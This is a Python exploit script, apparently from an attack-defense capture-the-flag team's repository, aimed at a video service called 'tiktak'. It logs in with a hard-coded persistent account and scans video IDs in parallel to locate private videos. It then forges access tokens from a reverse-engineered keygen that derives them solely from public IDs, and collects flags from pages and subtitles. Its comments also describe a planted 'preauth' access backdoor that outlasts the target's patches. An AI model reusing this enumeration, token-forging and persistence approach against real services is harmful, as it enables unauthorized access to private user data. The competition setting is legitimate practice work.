ALPHA-TRAIN2/sploits/tiktak_keygen_forge.py

#!/usr/bin/env python3
import sys
import re
import random
import requests
from concurrent.futures import ThreadPoolExecutor

USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]

PORT = 5000
# Доступ в таблице access привязан к аккаунту, поэтому нужен ПОСТОЯННЫЙ логин:
# записи, поставленные tiktak_preauth.py, видны только этому пользователю.
PERSIST_LOGIN = "mkt_svc_4a91"
PERSIST_PASS = "Qw8_rt2M_zx71"
BLOCK = 2000           # сканируем блоками, выходим как только набрали целей
MAX_DEPTH = 14000      # на быстрых боксах id растут >1000/мин
WANT_TARGETS = 6       # столько приватных достаточно, чтобы не жечь раунд
WORKERS = 50
MAX_FORGE_FAILS = 6    # столько подряд отказов /access => команда запатчена
WATCH_RX = re.compile(r"/watch/(\d+)")
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
# но с Range: качаем один байт вместо всего PNG.
PROBE_HEADERS = {"Range": "bytes=0-0"}
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


def legacy_token(vid):
    """Восстановлено из keygen/legacy/keygen.a (GenerateToken):

        int seed = n;
        for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }

    Никакого ключа -- токен целиком выводится из публичного video id.
    Состояние схлопывается в n%62 после первой итерации, так что на весь
    сервис приходится всего 62 различных токена.
    """
    seed = vid
    out = []
    for _ in range(30):
        seed = (seed * 17 + 42) % 62
        out.append(ALPHABET[seed])
    return "".join(out)


def login_or_register(s, base):
    r = s.post(f"{base}/login",
               data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
               timeout=6, allow_redirects=False)
    if r.status_code == 302:
        return True
    r = s.post(f"{base}/register",
               data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
               timeout=6, allow_redirects=False)
    return r.status_code == 302


def exploit(target_ip):
    flags = set()

    headers = {}
    if USE_CUSTOM_USER_AGENT:
        headers["User-Agent"] = random.choice(USER_AGENTS)

    # -------------------------------------------------------------------------
    # VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
    #   if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
    #
    # Share-токен приватного видео считается ТОЛЬКО от video id, который виден
    # в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
    # haveAccess() пропускает нас легально -> /watch отдаёт description, а
    # /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
    #
    # Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
    # и с настоящей записью о доступе.
    # -------------------------------------------------------------------------
    try:
        s = requests.Session()
        s.headers.update(headers)
        base = f"http://{target_ip}:{PORT}"

        # 1. нужен аккаунт: на /access висит RequiredMiddleware.
        #    Логинимся постоянным пользователем -- под ним лежат записи,
        #    заранее поставленные tiktak_preauth.py.
        if not login_or_register(s, base):
            print(f"[-] {target_ip}: не удалось войти", file=sys.stderr, flush=True)
            return flags

        # 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
        #    50 последних, а id растут ~500/мин из-за чужого флуда, так что
        #    чекерские приватные ролики лежат на глубине в сотни-тысячи id.
        #    Сканируем диапазон параллельно, по одному байту на пробу.
        feed = s.get(f"{base}/feed", timeout=6).text
        ids = [int(x) for x in WATCH_RX.findall(feed)]
        if not ids:
            print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
            return flags
        top = max(ids)

        def is_private(vid):
            try:
                r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
                          headers=PROBE_HEADERS, timeout=5)
                return vid if r.status_code in (200, 206) else None
            except requests.RequestException:
                return None

        # Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин,
        # и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз
        # и останавливаемся, как только набрали достаточно целей.
        private = []
        with ThreadPoolExecutor(max_workers=WORKERS) as ex:
            for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK):
                span = range(lo, max(0, lo - BLOCK), -1)
                private.extend(v for v in ex.map(is_private, span) if v)
                if len(private) >= WANT_TARGETS:
                    break
        private.sort(reverse=True)
        print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} "
              f"(глубина до {top - min(private) if private else 0})",
              file=sys.stderr, flush=True)

        fails = 0
        for vid in private:
            try:
                w = s.get(f"{base}/watch/{vid}", timeout=6)
            except requests.RequestException:
                continue

            if w.status_code == 200:
                # Доступ уже есть -- либо видео публичное, либо сработала
                # закладка из tiktak_preauth.py. Второе продолжает работать
                # даже после того, как цель запатчит keygen.
                found = set(FLAG_RX.findall(w.text))
                found |= set(FLAG_RX.findall(
                    s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
                if found:
                    flags.update(found)
                    print(f"[+] {target_ip}: видео {vid} (доступ уже был) -> {len(found)} флагов",
                          file=sys.stderr, flush=True)
                continue
            if w.status_code != 403:
                continue

            # 403 => приватное и доступа нет: форжим токен
            r = s.post(f"{base}/access",
                       data={"videoID": vid, "token": legacy_token(vid)},
                       timeout=6, allow_redirects=False)
            if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
                fails += 1
                if fails >= MAX_FORGE_FAILS:
                    print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
                          file=sys.stderr, flush=True)
                    break
                continue
            fails = 0

            found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
            found |= set(FLAG_RX.findall(
                s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
            if found:
                flags.update(found)
                print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
                      file=sys.stderr, flush=True)

    except requests.RequestException as e:
        print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
    # -------------------------------------------------------------------------

    return flags


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
        sys.exit(1)

    target_ip = sys.argv[1]

    try:
        found_flags = exploit(target_ip)

        if found_flags is None:
            found_flags = []
        elif isinstance(found_flags, str):
            found_flags = [found_flags]

        for flag in found_flags:
            clean_flag = str(flag).strip()
            if FLAG_RX.fullmatch(clean_flag):
                print(clean_flag, flush=True)

    except Exception as e:
        print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)


if __name__ == "__main__":
    main()